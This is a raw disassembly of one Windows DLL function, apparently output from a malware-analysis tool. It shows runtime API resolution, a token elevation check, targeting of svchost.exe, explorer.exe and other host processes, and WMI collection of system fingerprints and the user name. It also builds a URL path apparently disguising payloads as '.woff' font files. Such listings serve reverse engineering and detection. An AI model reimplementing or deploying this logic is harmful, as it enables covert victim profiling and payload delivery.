Function at 0x180006350
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3a0]
sub rsp, 0x4a0
mov rax, qword [0x180048040]
xor rax, rsp
mov qword [rbp + 0x390], rax
mov rsi, rdx
mov r12, rcx
mov qword [rbp + 0x110], rcx
mov qword [rbp + 0x118], rdx
xor r13d, r13d
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e0], xmm0
mov qword [rbp + 0x1f0], r13
mov qword [rbp + 0x1f8], SafeArrayGetLBound
mov byte [rbp + 0x1e0], r13b
mov r14d, r13d
mov qword [rbp + 0x100], r13
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
lea rdx, str.OpenProcessToken
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea rdx, [0x1800406d8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov rcx, rax
lea r8, [rbp + 0x100]
lea edx, [r13 + 8]
call rdi
test rax, rax
je 0x180006463
mov dword [rbp + 0x160], 4
lea rcx, str.advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.GetTokenInformation
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rbp + 0x160]
mov qword [rsp + 0x20], rcx
lea r9d, [r13 + 4]
lea r8, [rbp + 0x168]
lea edx, [r13 + 0x14]
mov rcx, qword [rbp + 0x100]
call rax
test eax, eax
cmovne r14d, dword [rbp + 0x168]
mov rcx, qword [rbp + 0x100]
test rcx, rcx
je 0x180006475
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r14d, r14d
je 0x18000647f
call fcn.180003730
lea rcx, str.kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.GetNativeSystemInfo
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1800064dd
xorps xmm0, xmm0
movups xmmword [rbp + 0x190], xmm0
movups xmmword [rbp + 0x1a0], xmm0
movups xmmword [rbp + 0x1b0], xmm0
lea rcx, [rbp + 0x190]
call rax
movzx eax, word [rbp + 0x190]
cmp ax, 6
je 0x1800064d5
cmp ax, 9
jne 0x1800064dd
mov r15d, 1
jmp 0x1800064e0
mov r15d, r13d
lea rcx, [rbp + 0x120]
call fcn.1800084c0
lea rdx, str.svchost.exe
lea rcx, [rbp + 0x80]
call fcn.18000ade0
nop
lea rdx, str.sihost.exe
lea rcx, [rbp + 0xa0]
call fcn.18000ade0
nop
lea rdx, str.RuntimeBroker.exe
lea rcx, [rbp + 0xc0]
call fcn.18000ade0
nop
lea rdx, str.explorer.exe
lea rcx, [rbp + 0xe0]
call fcn.18000ade0
nop
lea rax, [rbp + 0x80]
mov qword [rbp + 0x100], rax
lea rax, [rbp + 0x100]
mov qword [rbp + 0x108], rax
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0x120]
call fcn.1800099b0
nop
lea r9, [0x18000ad70]
mov edx, 0x20
lea r8d, [rdx - 0x1c]
lea rcx, [rbp + 0x80]
call fcn.180012e40
mov rbx, qword [rbp + 0x120]
mov rdi, qword [rbp + 0x128]
cmp rbx, rdi
je 0x18000669a
test r14d, r14d
setne r14b
nop word [rax + rax]
movzx edx, r14b
mov rcx, rbx
call fcn.180002490
mov r13d, eax
mov dword [rbp + 0x160], eax
test eax, eax
jne 0x1800065da
add rbx, 0x20
cmp rbx, rdi
jne 0x1800065b0
xor r13d, r13d
jmp 0x1800066a6
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rdi, rax
lea rdx, str.OpenProcess
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r8d, r13d
xor edx, edx
mov ecx, 0x410
call rax
mov rbx, rax
test rax, rax
je 0x18000664f
lea rdx, str.IsWow64Process
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0x168]
mov rcx, rbx
call rax
mov rcx, rbx
test eax, eax
je 0x180006649
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r13d, r13d
mov eax, r13d
cmp dword [rbp + 0x168], r13d
setne al
jmp 0x180006655
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r13d, r13d
mov eax, r13d
mov rdx, rsi
lea rcx, [rbp + 0x190]
test r15d, r15d
je 0x180006691
test eax, eax
je 0x180006691
lea r8, str.3.woff
call fcn.18000dbd0
mov rdx, rax
lea rcx, [rbp + 0x1e0]
call fcn.18000b010
lea rcx, [rbp + 0x190]
call fcn.18000afb0
jmp 0x1800066a6
lea r8, str.6.woff
jmp 0x18000666f
mov eax, dword [rbp + 0x168]
mov dword [rbp + 0x160], eax
mov rcx, qword [rbp + 0x120]
test rcx, rcx
je 0x1800066fd
mov rdx, qword [rbp + 0x128]
call fcn.18000ea70
mov rdx, qword [rbp + 0x130]
mov rcx, qword [rbp + 0x120]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800066f8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800083cb
call fcn.180012dd0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c0], xmm0
mov qword [rbp + 0x1d0], r13
mov qword [rbp + 0x1d8], SafeArrayGetLBound
mov byte [rbp + 0x1c0], 0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
mov r8d, 4
lea rdx, str.UUID
lea rcx, [rsp + 0x60]
call fcn.18000e160
nop
lea rax, [rsp + 0x60]
mov qword [rbp + 0x100], rax
lea rax, [rbp - 0x80]
mov qword [rbp + 0x108], rax
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0x120]
call fcn.18000a5a0
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x1b
lea rdx, str.Win32_ComputerSystemProduct
lea rcx, [rsp + 0x40]
call fcn.18000e160
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
mov qword [rbp + 0x150], r13
mov qword [rbp + 0x158], r13
xor r8d, r8d
lea rdx, [0x18004035d]
lea rcx, [rbp + 0x140]
call fcn.18000e160
lea r9, [rbp + 0x140]
lea r8, [rbp + 0x120]
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x80]
call fcn.180002710
nop
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x1800067f2
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x1c0]
call fcn.18000af20
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x18000683e
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006839
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800083d1
call fcn.180012dd0
movdqa xmm0, xmmword [0x180041220]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x18000688d
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006887
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800083d7
call fcn.180012dd0
nop
mov rcx, qword [rbp + 0x120]
test rcx, rcx
je 0x1800068f6
mov rdx, qword [rbp + 0x128]
call fcn.18000eb00
mov rdx, qword [rbp + 0x130]
mov rcx, qword [rbp + 0x120]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800068df
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800083dd
call fcn.180012dd0
mov qword [rbp + 0x120], r13
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x128], xmm0
lea r9, [fcn.18000afb0]
mov edx, 0x20
lea r8d, [rdx - 0x1f]
lea rcx, [rsp + 0x60]
call fcn.180012e40
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x10], xmm1
mov r8d, 7
lea rdx, str.Caption
lea rcx, [rbp - 0x20]
call fcn.18000e160
nop
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x10], xmm1
mov r8d, 7
lea rdx, str.Version
lea rcx, [rbp]
call fcn.18000e160
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x30], xmm1
mov r8d, 6
lea rdx, str.CSName
lea rcx, [rbp + 0x20]
call fcn.18000e160
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x50], xmm1
mov r8d, SafeArrayGetLBound
lea rdx, str.OSArchitecture
lea rcx, [rbp + 0x40]
call fcn.18000e160
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x70], xmm1
mov r8d, 0xc
lea rdx, str.SerialNumber
lea rcx, [rbp + 0x60]
call fcn.18000e160
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x120], xmm0
mov qword [rbp + 0x130], r13
mov ecx, 0xa0
call fcn.180012e04
mov rbx, rax
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], rax
lea rcx, [rax + 0xa0]
mov qword [rbp + 0x130], rcx
lea rax, [rbp + 0x120]
mov qword [rbp + 0x100], rax
lea rdi, [rbp - 0x20]
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
mov qword [rbp + 0x140], rbx
mov qword [rbp + 0x148], rbx
lea rax, [rbp + 0x120]
mov qword [rbp + 0x150], rax
mov rdx, rdi
mov rcx, rbx
call fcn.18000b1b0
add rbx, 0x20
mov qword [rbp + 0x148], rbx
add rdi, 0x20
lea rax, [rbp + 0x80]
cmp rdi, rax
jne 0x180006a41
mov rdx, rbx
mov rcx, rbx
call fcn.18000eb00
mov qword [rbp + 0x128], rbx
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, SafeArrayPutElement
lea rdx, str.Win32_OperatingSystem
lea rcx, [rsp + 0x40]
call fcn.18000e160
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], r13
xor r8d, r8d
lea rdx, [0x18004035d]
lea rcx, [rsp + 0x60]
call fcn.18000e160
lea r9, [rsp + 0x60]
lea r8, [rbp + 0x120]
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x80]
call fcn.180002710
nop
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x180006af0
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x1c0]
call fcn.18000af20
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x180006b3c
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006b37
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800083e3
call fcn.180012dd0
movdqa xmm0, xmmword [0x180041220]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x180006b8b
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006b85
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800083e9
call fcn.180012dd0
nop
mov rcx, qword [rbp + 0x120]
test rcx, rcx
je 0x180006bf4
mov rdx, qword [rbp + 0x128]
call fcn.18000eb00
mov rdx, qword [rbp + 0x130]
mov rcx, qword [rbp + 0x120]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006bdd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800083ef
call fcn.180012dd0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x120], xmm0
mov qword [rbp + 0x130], r13
lea r9, [fcn.18000afb0]
mov edx, 0x20
lea r8d, [rdx - 0x1b]
lea rcx, [rbp - 0x20]
call fcn.180012e40
xorps xmm0, xmm0
movups xmmword [rbp + 0x190], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1a0], xmm1
mov r8d, 0xc
lea rdx, str.SerialNumber
lea rcx, [rbp + 0x190]
call fcn.18000e160
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x120], xmm0
mov qword [rbp + 0x130], r13
mov ecx, 0x20
call fcn.180012e04
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], rax
lea rbx, [rax + 0x20]
mov qword [rbp + 0x130], rbx
lea rcx, [rbp + 0x120]
mov qword [rbp + 0x100], rcx
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
mov qword [rbp + 0x140], rax
mov qword [rbp + 0x148], rax
lea rcx, [rbp + 0x120]
mov qword [rbp + 0x150], rcx
lea rdx, [rbp + 0x190]
mov rcx, rax
call fcn.18000b1b0
nop
mov rdx, rbx
mov rcx, rbx
call fcn.18000eb00
mov qword [rbp + 0x128], rbx
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, SafeArrayGetLBound
lea rdx, str.Win32_DiskDrive
lea rcx, [rsp + 0x40]
call fcn.18000e160
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], r13
mov r8d, 0x23
lea rdx, str.MediaType___Fixed_hard_disk_media_
lea rcx, [rsp + 0x60]
call fcn.18000e160
lea r9, [rsp + 0x60]
lea r8, [rbp + 0x120]
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x80]
call fcn.180002710
nop
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x180006d41
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x1c0]
call fcn.18000af20
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x180006d8d
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006d88
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800083f5
call fcn.180012dd0
movdqa xmm0, xmmword [0x180041220]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x180006ddc
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006dd6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800083fb
call fcn.180012dd0
nop
mov rcx, qword [rbp + 0x120]
test rcx, rcx
je 0x180006e45
mov rdx, qword [rbp + 0x128]
call fcn.18000eb00
mov rdx, qword [rbp + 0x130]
mov rcx, qword [rbp + 0x120]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006e2e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008401
call fcn.180012dd0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x120], xmm0
mov qword [rbp + 0x130], r13
lea r9, [fcn.18000afb0]
mov edx, 0x20
lea r8d, [rdx - 0x1f]
lea rcx, [rbp + 0x190]
call fcn.180012e40
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
mov r8d, 9
lea rdx, str.IPAddress
lea rcx, [rbp - 0x80]
call fcn.18000e160
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x120], xmm0
mov qword [rbp + 0x130], r13
mov ecx, 0x20
call fcn.180012e04
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], rax
lea rbx, [rax + 0x20]
mov qword [rbp + 0x130], rbx
lea rcx, [rbp + 0x120]
mov qword [rbp + 0x100], rcx
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
mov qword [rbp + 0x140], rax
mov qword [rbp + 0x148], rax
lea rcx, [rbp + 0x120]
mov qword [rbp + 0x150], rcx
lea rdx, [rbp - 0x80]
mov rcx, rax
call fcn.18000b1b0
nop
mov rdx, rbx
mov rcx, rbx
call fcn.18000eb00
mov qword [rbp + 0x128], rbx
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x3a
lea rdx, str.Win32_NetworkAdapterConfiguration_WHERE_IPEnabled__TRUE
lea rcx, [rsp + 0x40]
call fcn.18000e160
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], r13
xor r8d, r8d
lea rdx, [0x18004035d]
lea rcx, [rsp + 0x60]
call fcn.18000e160
lea r9, [rsp + 0x60]
lea r8, [rbp + 0x120]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x190]
call fcn.180002710
nop
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x180006f89
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x1c0]
call fcn.18000af20
nop
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 0xf
jbe 0x180006fdb
inc rdx
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006fd6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008407
call fcn.180012dd0
movdqa xmm0, xmmword [0x180041220]
movdqu xmmword [rbp + 0x1a0], xmm0
mov byte [rbp + 0x190], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x180007030
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000702a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000840d
call fcn.180012dd0
nop
mov rcx, qword [rbp + 0x120]
test rcx, rcx
je 0x180007099
mov rdx, qword [rbp + 0x128]
call fcn.18000eb00
mov rdx, qword [rbp + 0x130]
mov rcx, qword [rbp + 0x120]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007082
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008413
call fcn.180012dd0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x120], xmm0
mov qword [rbp + 0x130], r13
lea r9, [fcn.18000afb0]
mov edx, 0x20
lea r8d, [rdx - 0x1f]
lea rcx, [rbp - 0x80]
call fcn.180012e40
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x50], xmm1
mov r8d, SafeArrayGetLBound
lea rdx, str.NumberOfProcessors
lea rcx, [rbp - 0x60]
call fcn.18000e160
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x30], xmm1
mov r8d, reloc.OLEAUT32.dll_SafeArrayGetLBound
lea rdx, str.TotalPhysicalMemory
lea rcx, [rbp - 0x40]
call fcn.18000e160
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x120], xmm0
mov qword [rbp + 0x130], r13
mov ecx, 0x40
call fcn.180012e04
mov rbx, rax
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], rax
lea rcx, [rax + 0x40]
mov qword [rbp + 0x130], rcx
lea rax, [rbp + 0x120]
mov qword [rbp + 0x100], rax
lea rdi, [rbp - 0x60]
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
mov qword [rbp + 0x140], rbx
mov qword [rbp + 0x148], rbx
lea rax, [rbp + 0x120]
mov qword [rbp + 0x150], rax
nop
mov rdx, rdi
mov rcx, rbx
call fcn.18000b1b0
add rbx, 0x20
mov qword [rbp + 0x148], rbx
add rdi, 0x20
lea rax, [rbp - 0x20]
cmp rdi, rax
jne 0x180007170
mov rdx, rbx
mov rcx, rbx
call fcn.18000eb00
mov qword [rbp + 0x128], rbx
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, reloc.OLEAUT32.dll_SafeArrayLock
lea rdx, str.Win32_ComputerSystem
lea rcx, [rsp + 0x40]
call fcn.18000e160
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], r13
xor r8d, r8d
lea rdx, [0x18004035d]
lea rcx, [rsp + 0x60]
call fcn.18000e160
lea r9, [rsp + 0x60]
lea r8, [rbp + 0x120]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x190]
call fcn.180002710
nop
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x18000721f
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x1c0]
call fcn.18000af20
nop
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 0xf
jbe 0x180007271
inc rdx
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000726c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008419
call fcn.180012dd0
movdqa xmm0, xmmword [0x180041220]
movdqu xmmword [rbp + 0x1a0], xmm0
mov byte [rbp + 0x190], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x1800072c6
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800072c0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000841f
call fcn.180012dd0
nop
mov rcx, qword [rbp + 0x120]
test rcx, rcx
je 0x18000732f
mov rdx, qword [rbp + 0x128]
call fcn.18000eb00
mov rdx, qword [rbp + 0x130]
mov rcx, qword [rbp + 0x120]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007318
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008425
call fcn.180012dd0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x120], xmm0
mov qword [rbp + 0x130], r13
lea r9, [fcn.18000afb0]
mov edx, 0x20
lea r8d, [rdx - 0x1e]
lea rcx, [rbp - 0x60]
call fcn.180012e40
mov dword [rbp + 0x168], 0x101
lea rcx, str.advapi32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.GetUserNameA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0x168]
lea rcx, [rbp + 0x280]
call rax
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x140], xmm0
movdqu xmmword [rbp + 0x150], xmm1
test rax, rax
je 0x1800073c3
lea rax, [rbp + 0x280]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1800073b0
lea rdx, [rbp + 0x280]
jmp 0x1800073cd
xor r8d, r8d
lea rdx, [0x18004035d]
lea rcx, [rbp + 0x140]
call fcn.18000e160
nop
mov r9d, 9
lea r8, str.UserName:
lea rcx, [rbp + 0x140]
call fcn.18000fd20
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x190], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1a0], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], SafeArrayGetLBound
mov byte [rax], 0
lea rdx, [rbp + 0x190]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0xf
cmova rdx, rcx
movq r8, xmm1
lea rcx, [rbp + 0x1c0]
call fcn.18000af20
nop
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 0xf
jbe 0x18000748d
inc rdx
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007487
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000842b
call fcn.180012dd0
nop
mov rdx, qword [rbp + 0x158]
cmp rdx, 0xf
jbe 0x1800074ce
inc rdx
mov rcx, qword [rbp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800074c9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008431
call fcn.180012dd0
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
mov qword [rbp + 0x150], r13
mov qword [rbp + 0x158], r13
lea r15, [rbp + 0x1c0]
cmp qword [rbp + 0x1d8], 0xf
cmova r15, qword [rbp + 0x1c0]
mov r14, qword [rbp + 0x1d0]
movabs rdi, 0x7fffffffffffffff
cmp r14, rdi
ja 0x180008437
movabs rax, 0x8000000000000000
mov ecx, SafeArrayPutElement
mov qword [rbp + 0x158], SafeArrayGetLBound
cmp r14, 0xf
ja 0x18000754e
mov qword [rbp + 0x150], r14
movups xmm0, xmmword [r15]
movups xmmword [rbp + 0x140], xmm0
jmp 0x1800075d9
mov rbx, r14
or rbx, 0xf
cmp rbx, rdi
jbe 0x180007583
mov rbx, rdi
add rax, 0x27
mov rcx, rax
call fcn.180012e04
mov rcx, rax
test rax, rax
je 0x18000843d
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800075b5
cmp rbx, rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800075a6
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800083bf
jmp 0x180007561
test rcx, rcx
je 0x1800075b2
call fcn.180012e04
jmp 0x1800075b5
mov rax, r13
mov qword [rbp + 0x140], rax
mov qword [rbp + 0x150], r14
mov qword [rbp + 0x158], rbx
lea r8, [r14 + 1]
mov rdx, r15
mov rcx, rax
call fcn.180032950
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x190]
call fcn.180005990
mov rdx, rax
lea rcx, [rbp + 0x200]
call fcn.180004400
nop
lea rcx, [rbp - 0x80]
call fcn.180005630
mov rbx, rax
mov rcx, rdi
sub rcx, qword [rbp + 0x1f0]
cmp rcx, 0x2a
jb 0x180008443
lea rcx, [rbp + 0x1e0]
cmp qword [rbp + 0x1f8], 0xf
cmova rcx, qword [rbp + 0x1e0]
mov rax, qword [rbp + 0x1f0]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], 0x2a
lea r9, str._static_fonts_segoe_ui_west_european_Bold_
lea rcx, [rsp + 0x40]
call fcn.18000fbe0
nop
mov r8d, 3
lea rdx, [0x180040b20]
lea rcx, [rsp + 0x40]
call fcn.18000af20
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x190], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1a0], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], SafeArrayGetLBound
mov byte [rax], 0
mov r9, rbx
lea r8, [rbp + 0x190]
lea rcx, [rsp + 0x60]
call fcn.18000f9f0
nop
mov r8d, 3
lea rdx, [0x180040b1c]
lea rcx, [rsp + 0x60]
call fcn.18000af20
xorps xmm0, xmm0
movups xmmword [rbp + 0x120], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x130], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x120], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x130], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], SafeArrayGetLBound
mov byte [rax], 0
lea rdx, [rbp + 0x200]
cmp qword [rbp + 0x218], 0xf
cmova rdx, qword [rbp + 0x200]
mov r8, qword [rbp + 0x210]
lea rcx, [rbp + 0x120]
call fcn.18000af20
xorps xmm0, xmm0
movups xmmword [rbp + 0x220], xmm0
xorps xmm1, xmm1
